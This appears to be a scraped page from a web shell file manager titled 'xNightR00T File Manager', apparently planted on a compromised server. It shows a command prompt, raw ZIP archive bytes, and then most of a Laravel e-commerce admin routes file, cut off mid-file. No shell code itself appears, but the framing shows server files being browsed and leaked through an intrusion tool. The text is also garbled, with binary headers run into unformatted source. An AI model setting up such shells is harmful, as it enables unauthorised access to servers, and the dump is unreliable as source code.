xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
PKÌN]äËKˆ@è@è admin.phpnu„[µü¤group(function () { Route::post('/update', 'step0')->name('update'); Route::get('/update/step1', 'step1')->name('update.step1'); Route::get('/update/step2', 'step2')->name('update.step2'); Route::get('/update/step3', 'step3')->name('update.step3'); Route::post('/purchase_code', 'purchase_code')->name('update.code'); }); Route::get('/admin', [AdminController::class, 'admin_dashboard'])->name('admin.dashboard')->middleware(['auth', 'admin', 'prevent-back-history']); Route::group(['prefix' => 'admin', 'middleware' => ['auth', 'admin', 'prevent-back-history', 'staff.activity']], function () { // cyber sources Route::controller(CybersourceSettingController::class)->group(function () { Route::get('/cybersource-configuration', 'configuration')->name('cybersource_configuration'); }); // category Route::resource('categories', CategoryController::class); Route::controller(CategoryController::class)->group(function () { Route::get('/categories/edit/{id}', 'edit')->name('categories.edit'); Route::get('/categories/destroy/{id}', 'destroy')->name('categories.destroy'); Route::post('/categories/featured', 'updateFeatured')->name('categories.featured'); Route::post('/categories/hot', 'updateHot')->name('categories.hot'); Route::post('/categories/categoriesByType', 'categoriesByType')->name('categories.categories-by-type'); //category-wise commission Route::get('/categories-wise-commission', 'categoriesWiseCommission')->name('categories_wise_commission'); Route::post('/categories-wise-commission', 'categoriesWiseCommissionUpdate')->name('categories_wise_commission.update'); // category-wise discount set Route::get('/categories-wise-product-discount', 'categoriesWiseProductDiscount')->name('categories_wise_product_discount'); Route::get('/categories-wise-product-discount-filter', 'categoriesWiseProductDiscountFilter')->name('categories_wise_product_discount_filter'); Route::get('/categories/filter/categories', 'get_categories_by_filter')->name('categories.filter'); Route::post('/bulk-categories-delete', 'bulk_categories_delete')->name('bulk-categories-delete'); Route::get('/categories/details/{id}', 'category_details')->name('categories.details'); Route::post('/bulk-categories-featured', 'bulk_categories_featured')->name('bulk-categories-featured'); Route::post('/bulk-categories-hot', 'bulk_categories_hot')->name('bulk-categories-hot'); }); // Brand Route::resource('brands', BrandController::class); Route::controller(BrandController::class)->group(function () { Route::get('/brands/edit/{id}', 'edit')->name('brands.edit'); Route::get('/brands/destroy/{id}', 'destroy')->name('brands.destroy'); Route::get('/brands/filter/brands', 'get_brands_by_filter')->name('brands.filter'); Route::post('/bulk-brands-delete', 'bulk_brands_delete')->name('bulk-brands-delete'); Route::get('/brand_category/show/{id}', 'showCategories')->name('brand_category.show'); }); // Warranty Route::resource('warranties', WarrantyController::class); Route::controller(WarrantyController::class)->group(function () { Route::get('/warranties/edit/{id}', 'edit')->name('warranties.edit'); Route::get('/warranties/destroy/{id}', 'destroy')->name('warranties.destroy'); }); // custom label Route::controller(CustomLabelController::class)->group(function () { Route::get('/custom-label-list', 'index')->name('custom_label.index'); Route::get('/custom-label-create', 'create')->name('custom_label.create'); Route::post('/custom-label-store', 'store')->name('custom_label.store'); Route::get('/custom-label-edit/{id}', 'edit')->name('custom_label.edit'); Route::post('/custom-label-update/{id}', 'update')->name('custom_label.update'); Route::get('/custom-label-delete/{id}', 'destroy')->name('custom_label.delete'); Route::post('custom-label/update-seller-access', 'updateSellerAccess')->name('custom_label.update-seller-access'); Route::post('/custom-label/products', 'products')->name('custom_label.products'); Route::post('/custom-label-update-status', 'update_status')->name('custom-label.update-status'); }); Route::controller(BrandBulkUploadController::class)->group(function () { Route::get('/brand-bulk-upload', 'index')->name('brand_bulk_upload.index'); Route::post('/brand-bulk-upload/store', 'bulk_upload')->name('brand_bulk_upload'); }); Route::controller(AdminController::class)->group(function () { Route::post('/dashboard/top-category-products-section', 'top_category_products_section')->name('dashboard.top_category_products_section'); Route::post('/dashboard/inhouse-top-brands', 'inhouse_top_brands')->name('dashboard.inhouse_top_brands'); Route::post('/dashboard/inhouse-top-categories', 'inhouse_top_categories')->name('dashboard.inhouse_top_categories'); Route::post('/dashboard/top-sellers-products-section', 'top_sellers_products_section')->name('dashboard.top_sellers_products_section'); Route::post('/dashboard/top-brands-products-section', 'top_brands_products_section')->name('dashboard.top_brands_products_section'); }); // Products Route::controller(ProductController::class)->group(function () { Route::get('/product-management/dashboard', 'dashboard')->name('products.dashboard'); Route::get('/products/admin', 'admin_products')->name('products.admin'); Route::get('/products/seller/{product_type}', 'seller_products')->name('products.seller'); Route::get('/products/all', 'all_products')->name('products.all'); Route::get('/products/filter/products', 'get_filter_products')->name('products.filter'); Route::get('/products/create', 'create')->name('products.create'); Route::post('/products/store/', 'store')->name('products.store'); Route::get('/products/admin/{id}/edit', 'admin_product_edit')->name('products.admin.edit'); Route::get('/products/seller/{id}/edit', 'seller_product_edit')->name('products.seller.edit'); Route::post('/products/update/{product}', 'update')->name('products.update'); Route::post('/products/todays_deal', 'updateTodaysDeal')->name('products.todays_deal'); Route::post('/products/featured', 'updateFeatured')->name('products.featured'); Route::post('/products/published', 'updatePublished')->name('products.published'); Route::post('/products/approved', 'updateProductApproval')->name('products.approved'); Route::post('/products/get_products_by_subcategory', 'get_products_by_subcategory')->name('products.get_products_by_subcategory'); Route::get('/products/duplicate/{id}', 'duplicate')->name('products.duplicate'); Route::get('/products/destroy/{id}', 'destroy')->name('products.destroy'); Route::post('/bulk-product-delete', 'bulk_product_delete')->name('bulk-product-delete'); Route::post('/bulk-product-publish', 'bulk_product_publish')->name('bulk-product-publish'); Route::post('/bulk-product-featured', 'bulk_product_featured')->name('bulk-product-featured'); Route::post('/bulk-product-todays-deal', 'bulk_product_todays_deal')->name('bulk-product-todays-deal'); Route::post('/bulk-product-stock-update', 'bulk_product_stock_update')->name('bulk-product-stock-update'); Route::post('/products/sku_combination', 'sku_combination')->name('products.sku_combination'); Route::post('/products/sku_combination_edit', 'sku_combination_edit')->name('products.sku_combination_edit'); Route::post('/products/add-more-choice-option', 'add_more_choice_option')->name('products.add-more-choice-option'); Route::post('/product-search', 'product_search')->name('product.search'); Route::post('/get-selected-products', 'get_selected_products')->name('get-selected-products'); Route::post('/set-product-discount', 'setProductDiscount')->name('set_product_discount'); Route::get('/smart/bar', 'smartBar')->name('smart.bar'); Route::post('business-settings/smart-bar-status', 'updateBusinessSettings')->name('business_settings.smart_bar_status'); Route::post('/products-search', 'products_search')->name('products.search'); Route::post('/products-by-cat', 'get_products_byCategory')->name('get_products_byCategory'); Route::post('/save-as-draft', 'store_as_draft')->name('products.store_as_draft'); Route::get('/stock/show/{id}', 'stockShow')->name('stock.show'); Route::post('/products/generate-with-ai', 'generateWithAI')->name('products.generate-with-ai'); }); // Digital Product Route::resource('digitalproducts', DigitalProductController::class); Route::controller(DigitalProductController::class)->group(function () { Route::get('/digitalproducts/edit/{id}', 'edit')->name('digitalproducts.edit'); Route::get('/digitalproducts/destroy/{id}', 'destroy')->name('digitalproducts.destroy'); Route::get('/digitalproducts/download/{id}', 'download')->name('digitalproducts.download'); Route::get('/seller/digitalproducts/{id}/edit', 'edit')->name('digitalproducts.seller.edit'); }); Route::controller(ProductBulkUploadController::class)->group(function () { //Product Export Route::get('/product-bulk-export', 'export')->name('product_bulk_export.index'); //Product Bulk Upload Route::get('/product-bulk-upload/index', 'index')->name('product_bulk_upload.index'); Route::post('/bulk-product-upload', 'bulk_upload')->name('bulk_product_upload'); Route::get('/product-csv-download/{type}', 'import_product')->name('product_csv.download'); Route::get('/vendor-product-csv-download/{id}', 'import_vendor_product')->name('import_vendor_product.download'); Route::group(['prefix' => 'bulk-upload/download'], function () { Route::get('/category', 'pdf_download_category')->name('pdf.download_category'); Route::get('/brand', 'pdf_download_brand')->name('pdf.download_brand'); Route::get('/seller', 'pdf_download_seller')->name('pdf.download_seller'); }); }); // Note Route::resource('note', NoteController::class); Route::controller(NoteController::class)->group(function () { Route::get('/note/edit/{id}', 'edit')->name('note.edit'); Route::get('note/delete/{note}', 'destroy')->name('note.delete'); Route::post('note/update-seller-access', 'updateSelelrAccess')->name('note.update-seller-access'); }); // Seller Route::resource('sellers', SellerController::class); Route::controller(SellerController::class)->group(function () { Route::get('/seller/rating-followers', 'index')->name('sellers.rating_followers'); Route::get('sellers_ban/{id}', 'ban')->name('sellers.ban'); Route::get('/sellers/destroy/{id}', 'destroy')->name('sellers.destroy'); Route::delete('/sellers/ajax-destroy/{id}', 'ajaxDestroy')->name('sellers.ajax.destroy'); Route::post('/bulk-seller-delete', 'bulk_seller_delete')->name('bulk-seller-delete'); Route::get('/sellers/view/{id}/verification', 'show_verification_request')->name('sellers.show_verification_request'); Route::get('/sellers/approve/{id}', 'approve_seller')->name('sellers.approve'); Route::get('/sellers/reject/{id}', 'reject_seller')->name('sellers.reject'); Route::get('/sellers/login/{id}', 'login')->name('sellers.login'); Route::post('/sellers/payment_modal', 'payment_modal')->name('sellers.payment_modal'); Route::post('/sellers/verification_info_modal', 'verification_info_modal')->name('sellers.verification_info_modal'); Route::post('/sellers/approved', 'updateApproved')->name('sellers.approved'); Route::get('/seller-based-commission', 'sellerBasedCommission')->name('seller_based_commission'); Route::post('/set-seller-based-commission', 'setSellerCommission')->name('set_seller_commission'); Route::post('/sellers/set-commission', 'setSellerBasedCommission')->name('set_seller_based_commission'); Route::post('/sellers/edit-custom-followers', 'editSellerCustomFollowers')->name('edit_Seller_custom_followers'); Route::get('/sellers/registration/pending', 'pendingSellers')->name('sellers.registration_pending'); Route::post('/sellers/registration/approve', 'UpdateSellerRegistration')->name('sellers.registration.approved'); Route::get('/sellers/profile/{id}', 'sellerProfile')->name('sellers.profile'); Route::get('/sellers/profile/tab/data/{shop}', 'getSellerProfileTab')->name('sellers.profile.tab'); Route::get('seller-suspicious/{seller}', 'suspicious')->name('seller.suspicious'); Route::get('/seller/verification-file/delete', 'deleteVerificationFile')->name('seller.verification.file.delete'); Route::post('/sellers/gstin-update', 'sellers_gstin_update')->name('sellers.seller_gstin_update'); }); // Seller Payment Route::controller(PaymentController::class)->group(function () { Route::get('/seller/payments', 'payment_histories')->name('sellers.payment_histories'); Route::get('/seller/payments/show/{id}', 'show')->name('sellers.payment_history'); }); // Seller Withdraw Request Route::resource('/withdraw_requests', SellerWithdrawRequestController::class); Route::controller(SellerWithdrawRequestController::class)->group(function () { Route::get('/withdraw_requests_all', 'index')->name('withdraw_requests_all'); Route::post('/withdraw_request/payment_modal', 'payment_modal')->name('withdraw_request.payment_modal'); Route::post('/withdraw_request/message_modal', 'message_modal')->name('withdraw_request.message_modal'); }); // Customer Route::resource('customers', CustomerController::class); Route::controller(CustomerController::class)->group(function () { Route::get('customers_ban/{customer}', 'ban')->name('customers.ban'); Route::get('customers-suspicious/{customer}', 'suspicious')->name('customers.suspicious'); Route::get('/customers/login/{id}', 'login')->name('customers.login'); Route::get('/customers/destroy/{id}', 'destroy')->name('customers.destroy'); Route::post('/bulk-customer-delete', 'bulk_customer_delete')->name('bulk-customer-delete'); Route::get('/unverified-customers', 'unverifiedCustomers')->name('customers.unverified.index'); Route::get('/customers-filter', 'filter_customer')->name('customers.filter'); }); // Newsletter Route::controller(NewsletterController::class)->group(function () { Route::get('/newsletter', 'index')->name('newsletters.index'); Route::post('/newsletter/send', 'send')->name('newsletters.send'); Route::post('/newsletter/test/smtp', 'testEmail')->name('test.smtp'); }); // Dynamic Popup Route::resource('dynamic-popups', DynamicPopupController::class); Route::controller(DynamicPopupController::class)->group(function () { Route::get('/dynamic-popups/destroy/{id}', 'destroy')->name('dynamic-popups.destroy'); Route::post('/bulk-dynamic-popup-delete', 'bulk_dynamic_popup_delete')->name('bulk-dynamic-popup-delete'); Route::post('/dynamic-popups-update-status', 'update_status')->name('dynamic-popups.update-status'); }); // Custom Alert Route::resource('custom-alerts', CustomAlertController::class); Route::controller(CustomAlertController::class)->group(function () { Route::get('/custom-alerts/destroy/{id}', 'destroy')->name('custom-alerts.destroy'); Route::post('/bulk-custom-alerts-delete', 'bulk_custom_alerts_delete')->name('bulk-custom-alerts-delete'); Route::post('/custom-alerts-update-status', 'update_status')->name('custom-alerts.update-status'); Route::get('/custom-sale-alert', 'sale_alert_edit')->name('custom-sale-alert.edit'); }); //Custom Sale Alert Route::controller(CustomSaleAlertController::class)->group(function () { Route::get('/custom-sale-alerts', 'index')->name('custom-sale-alerts.index'); Route::post('/custom-sale-alert-products', 'products')->name('custom_sale_alerts.products'); Route::post('/custom-sale-alert-products-update', 'products_update')->name('custom-sale-alerts.product_update'); }); //Contacts Route::controller(ContactController::class)->group(function () { Route::get('/contacts', 'index')->name('contacts'); Route::post('/contact/query_modal', 'query_modal')->name('contact.query_modal'); Route::post('/contact/reply_modal', 'reply_modal')->name('contact.reply_modal'); Route::post('/contact/reply', 'reply')->name('contact.reply'); }); Route::resource('profile', ProfileController::class); // Business Settings Route::controller(BusinessSettingsController::class)->group(function () { Route::post('/business-settings/update', 'update')->name('business_settings.update'); Route::post('/business-settings/update/activation', 'updateActivationSettings')->name('business_settings.update.activation'); Route::post('/payment-activation', 'updatePaymentActivationSettings')->name('payment.activation'); Route::post('/shipping-activation', 'updateShippingActivationSettings')->name('shipping.activation'); Route::get('/general-setting', 'general_setting')->name('general_setting.index'); Route::get('/activation', 'activation')->name('activation.index'); Route::get('/payment-method', 'payment_method')->name('payment_method.index'); Route::get('/file_system', 'file_system')->name('file_system.index'); Route::get('/social-login', 'social_login')->name('social_login.index'); Route::get('/smtp-settings', 'smtp_settings')->name('smtp_settings.index'); Route::get('/google-recaptcha', 'google_recaptcha')->name('google_recaptcha.index'); Route::get('/google-map', 'google_map')->name('google-map.index'); Route::get('/google-firebase', 'google_firebase')->name('google-firebase.index'); Route::get('/whatsapp-chat', 'whatsappChat')->name('whatsapp_chat.index'); Route::post('/whatsapp_chat/update', 'whatsappChatUpdate')->name('whatsapp_chat.update'); //Facebook Settings Route::get('/facebook-comment', 'facebook_comment')->name('facebook-comment'); Route::post('/facebook-comment', 'facebook_comment_update')->name('facebook-comment.update'); Route::post('/facebook_pixel', 'facebook_pixel_update')->name('facebook_pixel.update'); Route::post('/env_key_update', 'env_key_update')->name('env_key_update.update'); Route::post('/payment_method_update', 'payment_method_update')->name('payment_method.update'); Route::post('/google_analytics', 'google_analytics_update')->name('google_analytics.update'); Route::post('/google_recaptcha', 'google_recaptcha_update')->name('google_recaptcha.update'); Route::post('/google-map', 'google_map_update')->name('google-map.update'); Route::post('/google-firebase', 'google_firebase_update')->name('google-firebase.update'); Route::get('/verification/form', 'seller_verification_form')->name('seller_verification_form.index'); Route::post('/verification/form', 'seller_verification_form_update')->name('seller_verification_form.update'); Route::get('/vendor_commission', 'vendor_commission')->name('business_settings.vendor_commission'); //Shipping Configuration Route::get('/shipping_method', 'shipping_method')->name('shipping_configuration.shipping_method'); Route::get('/shipping_configuration', 'shipping_configuration')->name('shipping_configuration.index'); Route::post('/shipping_configuration/update', 'shipping_configuration_update')->name('shipping_configuration.update'); Route::post('/shipping_configuration/has_state', 'stateBasedShippingSettings')->name('shipping_configuration.state'); // Header Selection Route::post('/select-header', 'select_header')->name('settings.select-header'); Route::post('/select-footer', 'select_footer')->name('settings.select-footer'); Route::post('/select-megamenu', 'select_megamenu')->name('settings.select-megamenu'); //custom product visitors Route::post('/custom-product-visitors', 'customProductVisitorsUpdate')->name('custom_product_visitors.update'); //font-family selection Route::get('/select-font-family', 'select_font_family')->name('website.select-font-family'); Route::get('/business-settings', 'business_settings')->name('business_settings.index'); Route::get('/business-settings/general-info', 'general_info')->name('general.info'); Route::get('/business-settings/order-config', 'order_config')->name('order.config'); Route::get('/business-settings/invoice-config', 'invoice_config')->name('invoice.config'); Route::get('/business-settings/order-tracking-config', 'order_tracking_config')->name('order_tracking.config'); Route::get('/business-settings/shipping-label-config', 'shipping_label_config')->name('shipping_label.config'); Route::get('/business-settings/thermal-printer-config', 'thermal_printer_config')->name('thermal_printer.config'); Route::post('/business-info/update', 'business_info_update')->name('business_info.update'); Route::post('/order-config-update', 'order_config_update')->name('order.config.update'); Route::post('/invoice-config-update', 'invoice_config_update')->name('invoice.config.update'); Route::post('/order-tracking-config-update', 'order_tracking_config_update')->name('order_tracking.config.update'); Route::post('/shipping-label-update', 'shipping_label_update')->name('shipping.label.update'); Route::post('/thermal-printer-update', 'thermal_printer_update')->name('thermal.printer.update'); //ai Route::post('/ai-configuration', 'ai_config_update')->name('ai_config.update'); }); //Currency Route::controller(CurrencyController::class)->group(function () { Route::get('/currency', 'currency')->name('currency.index'); Route::post('/currency/update', 'updateCurrency')->name('currency.update'); Route::post('/your-currency/update', 'updateYourCurrency')->name('your_currency.update'); Route::get('/currency/create', 'create')->name('currency.create'); Route::post('/currency/store', 'store')->name('currency.store'); Route::post('/currency/currency_edit', 'edit')->name('currency.edit'); Route::post('/currency/update_status', 'update_status')->name('currency.update_status'); }); //Tax Route::resource('tax', TaxController::class); Route::controller(TaxController::class)->group(function () { Route::get('/tax/edit/{id}', 'edit')->name('tax.edit'); Route::get('/tax/destroy/{id}', 'destroy')->name('tax.destroy'); Route::post('tax-status', 'change_tax_status')->name('taxes.tax-status'); }); // Language Route::resource('/languages', LanguageController::class); Route::controller(LanguageController::class)->group(function () { Route::post('/languages/{id}/update', 'update')->name('languages.update'); Route::get('/languages/destroy/{id}', 'destroy')->name('languages.destroy'); Route::post('/languages/update_rtl_status', 'update_rtl_status')->name('languages.update_rtl_status'); Route::post('/languages/update-status', 'update_status')->name('languages.update-status'); Route::post('/languages/key_value_store', 'key_value_store')->name('languages.key_value_store'); Route::get('/languages/translations/google/{id}', 'googleTranslations')->name('translations.google'); //App Trasnlation Route::post('/languages/app-translations/import', 'importEnglishFile')->name('app-translations.import'); Route::get('/languages/app-translations/show/{id}', 'showAppTranlsationView')->name('app-translations.show'); Route::post('/languages/app-translations/key_value_store', 'storeAppTranlsation')->name('app-translations.store'); Route::get('/languages/app-translations/export/{id}', 'exportARBFile')->name('app-translations.export'); Route::get('/languages/app-translations/sync/{id}', 'sycnTranslations')->name('app-translations.sync'); }); // website setting Route::group(['prefix' => 'website'], function () { Route::controller(WebsiteController::class)->group(function () { Route::get('/dashboard', 'dashboard')->name('website.dashboard'); Route::post('/get-upload-file-name', 'getFileName'); Route::post('/get-element-types', 'getElementTypesByElement')->name('get.element.types'); Route::get('/header', 'header')->name('website.header'); Route::get('/footer', 'footer')->name('website.footer'); Route::get('/system-setup', 'system_setup')->name('website.system_setup'); Route::get('/appearance', 'appearance')->name('website.appearance'); Route::get('/logo-favicon', 'logo_and_favicon')->name('website.logo_and_favicon'); Route::get('/banners-sliders', 'banners_and_sliders')->name('website.banners_and_sliders'); Route::get('/manage-admin-panel', 'manage_admin_panel')->name('website.manage_admin_panel'); Route::get('/select-homepage', 'select_homepage')->name('website.select-homepage'); Route::get('/select-header', 'select_header')->name('website.select-header'); Route::get('/select-footer', 'select_footer')->name('website.select-footer'); Route::get('/select-megamenu', 'select_megamenu')->name('website.select-megamenu'); Route::get('/authentication-layout-settings', 'authentication_layout_settings')->name('website.authentication-layout-settings'); Route::get('/pages', 'pages')->name('website.pages'); Route::get('/portfolio-header', 'portfolio_header')->name('website.portfolioheader'); }); // Custom Page Route::resource('custom-pages', PageController::class); Route::controller(PageController::class)->group(function () { Route::get('/custom-pages/edit/{id}', 'edit')->name('custom-pages.edit'); Route::get('/custom-pages/destroy/{id}', 'destroy')->name('custom-pages.destroy'); Route::get('/categories/children', 'getChildCategories')->name('categories.children'); }); // topbar Route::controller(TopBannerController::class)->group(function () { Route::get('/top-bar-list', 'index')->name('top_banner.index'); Route::get('/top-bar-setting', 'setting')->name('top_banner.setting'); Route::get('/top-bar-create', 'create')->name('top_banner.create'); Route::post('/top-bar-store', 'store')->name('top_banner.store'); Route::get('/top-bar-edit/{id}', 'edit')->name('top_banner.edit'); Route::post('/top-bar-update/{id}', 'update')->name('top_banner.update'); Route::get('/top-bar-delete/{id}', 'destroy')->name('top_banner.delete'); Route::post('/top-bars-update-status', 'update_status')->name('top-banner.update-status'); }); }); // element Route::resource('elements', ElementController::class); Route::controller(ElementController::class)->group(function () { Route::get('/elements/edit/{id}', 'edit')->name('elements.edit'); Route::get('/elements/destroy/{id}', 'destroy')->name('elements.destroy'); Route::post('/elements/type-store', 'store_element_type')->name('store-element-type'); Route::get('/edit/elements/type/{id}', 'edit_element_type')->name('edit-element-type'); Route::post('/update/elements/type/{id}', 'update_element_type')->name('update-element-type'); Route::get('/delete/elements/type/{id}', 'destroy_element_type')->name('destroy-element-type'); Route::get('/show/elements/style/{id}', 'show_element_style')->name('show-element-style'); Route::post('/elements/style-store', 'store_element_style')->name('store-element-style'); Route::get('/delete/elements/style/{id}', 'destroy_element_style')->name('destroy-element-style'); }); // Staff Roles Route::resource('roles', RoleController::class); Route::controller(RoleController::class)->group(function () { Route::get('/roles/edit/{id}', 'edit')->name('roles.edit'); Route::get('/roles/destroy/{id}', 'destroy')->name('roles.destroy'); // Add Permissiom Route::post('/roles/add_permission', 'add_permission')->name('roles.permission'); }); // Staff Route::resource('staffs', StaffController::class); Route::get('/staffs/destroy/{id}', [StaffController::class, 'destroy'])->name('staffs.destroy'); // Flash Deal Route::resource('flash_deals', FlashDealController::class); Route::controller(FlashDealController::class)->group(function () { Route::get('/flash_deals/edit/{id}', 'edit')->name('flash_deals.edit'); Route::get('/flash_deals/destroy/{id}', 'destroy')->name('flash_deals.destroy'); Route::post('/flash_deals/update_status', 'update_status')->name('flash_deals.update_status'); Route::post('/flash_deals/update_featured', 'update_featured')->name('flash_deals.update_featured'); Route::post('/flash_deals/product_discount', 'product_discount')->name('flash_deals.product_discount'); Route::post('/flash_deals/product_discount_edit', 'product_discount_edit')->name('flash_deals.product_discount_edit'); Route::post('/bulk-flash-deal-delete', 'bulk_flash_deal_delete')->name('bulk-flash-deals-delete'); Route::get('/flash-deals-filter', 'filter_flash_deal')->name('flash_deals.filter'); Route::post('/flash-deals/product-search', 'flash_deal_product_search')->name('flash_deals.product_search'); Route::post('/flash-deals/update-product-discount', 'update_product_discount')->name('flash_deals.update_product_discount'); }); // Promotional Products Route::controller(PromotionalProductController::class)->group(function () { Route::get('/promotional-products-index', 'index')->name('promotional_products.index'); Route::post('/promotional-products-update', 'update')->name('promotional_products.update'); Route::post('/promotional-products-search', 'search')->name('promotional_products.search'); Route::get('/promotional-products-filter', 'filter')->name('promotional_products.filter'); Route::get('/promotion-and-offers-dashboard', 'dashboard')->name('promotion_and_offers_dashboard'); }); // Todays Deal Products Route::controller(TodaysDealController::class)->group(function () { Route::get('/todays-deal-products-index', 'index')->name('todays_deal_products.index'); Route::post('/todays-deal-products-update', 'update')->name('todays_deal_products.update'); Route::post('/todays-deal-products-search', 'search')->name('todays_deal_products.search'); }); //Subscribers Route::controller(SubscriberController::class)->group(function () { Route::get('/subscribers', 'index')->name('subscribers.index'); Route::get('/subscribers/destroy/{id}', 'destroy')->name('subscriber.destroy'); }); // Order Route::resource('orders', OrderController::class); Route::controller(OrderController::class)->group(function () { // All Orders Route::get('/all_orders', 'all_orders')->name('all_orders.index'); Route::post('/all-orders-manage-modal', 'manage_order_modal')->name('all_orders_manage_modal'); Route::get('/inhouse-orders', 'all_orders')->name('inhouse_orders.index'); Route::get('/seller_orders', 'all_orders')->name('seller_orders.index'); Route::get('/orders_by_pickup_point', 'all_orders')->name('pick_up_point.index'); Route::get('/unpaid_orders', 'all_orders')->name('unpaid_orders.index'); Route::get('/orders/{id}/show', 'show')->name('all_orders.show'); Route::get('/inhouse-orders/{id}/show', 'show')->name('inhouse_orders.show'); Route::get('/seller_orders/{id}/show', 'show')->name('seller_orders.show'); Route::get('/orders_by_pickup_point/{id}/show', 'show')->name('pick_up_point.order_show'); Route::post('/bulk-order-status', 'bulk_order_status')->name('bulk-order-status'); Route::get('/orders/destroy/{id}', 'destroy')->name('orders.destroy'); Route::post('/bulk-order-delete', 'bulk_order_delete')->name('bulk-order-delete'); Route::post('/orders/details', 'order_details')->name('orders.details'); Route::post('/orders/update_delivery_status', 'update_delivery_status')->name('orders.update_delivery_status'); Route::post('/orders/update_payment_status', 'update_payment_status')->name('orders.update_payment_status'); Route::post('/orders/update_tracking_code', 'update_tracking_code')->name('orders.update_tracking_code'); Route::post('orders/update-note', 'updateNote')->name('orders.update_note'); //Delivery Boy Assign Route::post('/orders/delivery-boy-assign', 'assign_delivery_boy')->name('orders.delivery-boy-assign'); // Order bulk export Route::get('/order-bulk-export', 'orderBulkExport')->name('order-bulk-export'); // Route::post('order-payment-notification', 'unpaid_order_payment_notification_send')->name('unpaid_order_payment_notification'); Route::get('/filtered-orders', 'get_filter_orders')->name('orders.filter'); }); Route::get('shipping-label-download/{order_id}', [ShippingLabelDownloadController::class, 'shipping_label_download'])->name('shipping_label.download'); Route::get('shipping-label-print/{order_id}', [ShippingLabelDownloadController::class, 'shipping_label_printer'])->name('shipping_label.print'); Route::get('bulk-shipping-label-download', [ShippingLabelDownloadController::class, 'bulk_shipping_label_download'])->name('bulk_shipping_label.download'); Route::get('bulk-shipping-label-print', [ShippingLabelDownloadController::class, 'bulk_shipping_label_print'])->name('bulk_shipping_label.print'); Route::get('bulk-invoice-download', [InvoiceController::class, 'bulk_invoice_download'])->name('bulk_invoice.download'); Route::get('bulk-invoice-print', [InvoiceController::class, 'bulk_invoice_print'])->name('bulk_invoice.print'); Route::get('bulk-thermal-invoice-print', [InvoiceController::class, 'bulk_thermal_invoice_print'])->name('bulk_thermal_invoice.print'); Route::get('thermal-invoice-print/{order_id}', [InvoiceController::class, 'thermal_invoice_download'])->name('thermal_invoice.print'); Route::get('invoice-print/{order_id}', [InvoiceController::class, 'invoice_printer'])->name('invoice.printer'); Route::post('/pay_to_seller', [CommissionController::class, 'pay_to_seller'])->name('commissions.pay_to_seller'); //Reports Route::controller(ReportController::class)->group(function () { Route::get('/in_house_sale_report', 'in_house_sale_report')->name('in_house_sale_report.index'); Route::get('/seller_sale_report', 'seller_sale_report')->name('seller_sale_report.index'); Route::get('/stock_report', 'stock_report')->name('stock_report.index'); Route::get('/wish_report', 'wish_report')->name('wish_report.index'); Route::get('/user_search_report', 'user_search_report')->name('user_search_report.index'); Route::get('/commission-log', 'commission_history')->name('commission-log.index'); Route::get('/wallet-history', 'wallet_transaction_history')->name('wallet-history.index'); }); // Earning Report Route::group(['prefix' => 'reports'], function () { Route::get('/earning-payout-report', [EarningReportController::class, 'index'])->name('earning_payout_report.index'); Route::post('/earning-payout-report/net-sales', [EarningReportController::class, 'net_sales']); Route::post('/earning-payout-report/payouts', [EarningReportController::class, 'payouts']); Route::post('/earning-payout-report/sale-analytic', [EarningReportController::class, 'sale_analytic']); Route::post('/earning-payout-report/payout-analytic', [EarningReportController::class, 'payout_analytic']); }); //Blog Section //Blog cateory Route::resource('blog-category', BlogCategoryController::class); Route::get('/blog-category/destroy/{id}', [BlogCategoryController::class, 'destroy'])->name('blog-category.destroy'); // Blog Route::resource('blog', BlogController::class); Route::controller(BlogController::class)->group(function () { Route::get('/blog/destroy/{id}', 'destroy')->name('blog.destroy'); Route::post('/blog/change-status', 'change_status')->name('blog.change-status'); }); //Coupons Route::resource('coupon', CouponController::class); Route::controller(CouponController::class)->group(function () { Route::post('/coupon/update-status', 'updateStatus')->name('coupon.update_status'); Route::get('/coupon/destroy/{id}', 'destroy')->name('coupon.destroy'); Route::post('/coupon/bulk-destroy', 'bulk_delete')->name('bulk-coupons-delete'); Route::get('/coupons-filter', 'filter')->name('coupons.filter'); Route::post('coupons/product-search', 'coupon_product_search')->name('coupons.product_search'); //Coupon Form Route::post('/coupon/get_form', 'get_coupon_form')->name('coupon.get_coupon_form'); Route::post('/coupon/get_form_edit', 'get_coupon_form_edit')->name('coupon.get_coupon_form_edit'); }); //Reviews Route::controller(ReviewController::class)->group(function () { Route::get('/reviews', 'index')->name('reviews.index'); Route::post('/reviews/published', 'updatePublished')->name('reviews.published'); Route::get('/reviews/detail-reviews/{id}', 'detailReviews')->name('detail-reviews'); Route::get('/reviews/destroy', 'destroy')->name('reviews.destroy'); Route::get('/custom-review/create/{productId?}', 'customReviewCreate')->name('custom-review.create'); Route::get('/custom-review/edit/{id}', 'customReviewEdit')->name('custom-review.edit'); Route::post('/custom-review/update', 'customReviewUpdate')->name('custom-review.update'); Route::post('/custom-review/get-products', 'getProductByCategory')->name('get-custom-review-product-by-category'); }); //Support_Ticket Route::controller(SupportTicketController::class)->group(function () { Route::get('support_ticket/', 'admin_index')->name('support_ticket.admin_index'); Route::get('support_ticket/{id}/show', 'admin_show')->name('support_ticket.admin_show'); Route::post('support_ticket/reply', 'admin_store')->name('support_ticket.admin_store'); }); // Email Template Route::resource('email-templates', EmailTemplateController::class); Route::controller(EmailTemplateController::class)->group(function () { Route::get('/all-email-template', 'all_email')->name('all_email_templates.index'); Route::get('/all-email-filter', 'filter')->name('all_email.filter'); Route::post('/email-template/update-status', 'updateStatus')->name('email-template.update-status'); }); //Pickup_Points Route::resource('pick_up_points', PickupPointController::class); Route::controller(PickupPointController::class)->group(function () { Route::get('/pick_up_points/edit/{id}', 'edit')->name('pick_up_points.edit'); Route::get('/pick_up_points/destroy/{id}', 'destroy')->name('pick_up_points.destroy'); }); //conversation of seller customer Route::controller(ConversationController::class)->group(function () { Route::get('conversations', 'admin_index')->name('conversations.admin_index'); Route::get('conversations/{id}/show', 'admin_show')->name('conversations.admin_show'); }); // product Queries show on Admin panel Route::controller(ProductQueryController::class)->group(function () { Route::get('/product-queries', 'index')->name('product_query.index'); Route::get('/product-queries/{id}', 'show')->name('product_query.show'); Route::put('/product-queries/{id}', 'reply')->name('product_query.reply'); }); // Product Attribute Route::resource('attributes', AttributeController::class); Route::controller(AttributeController::class)->group(function () { Route::get('/attributes/edit/{id}', 'edit')->name('attributes.edit'); Route::get('/attributes/destroy/{id}', 'destroy')->name('attributes.destroy'); //Colors Route::get('/colors', 'colors')->name('colors'); Route::get('/colors/create', 'colors_create')->name('colors.create'); 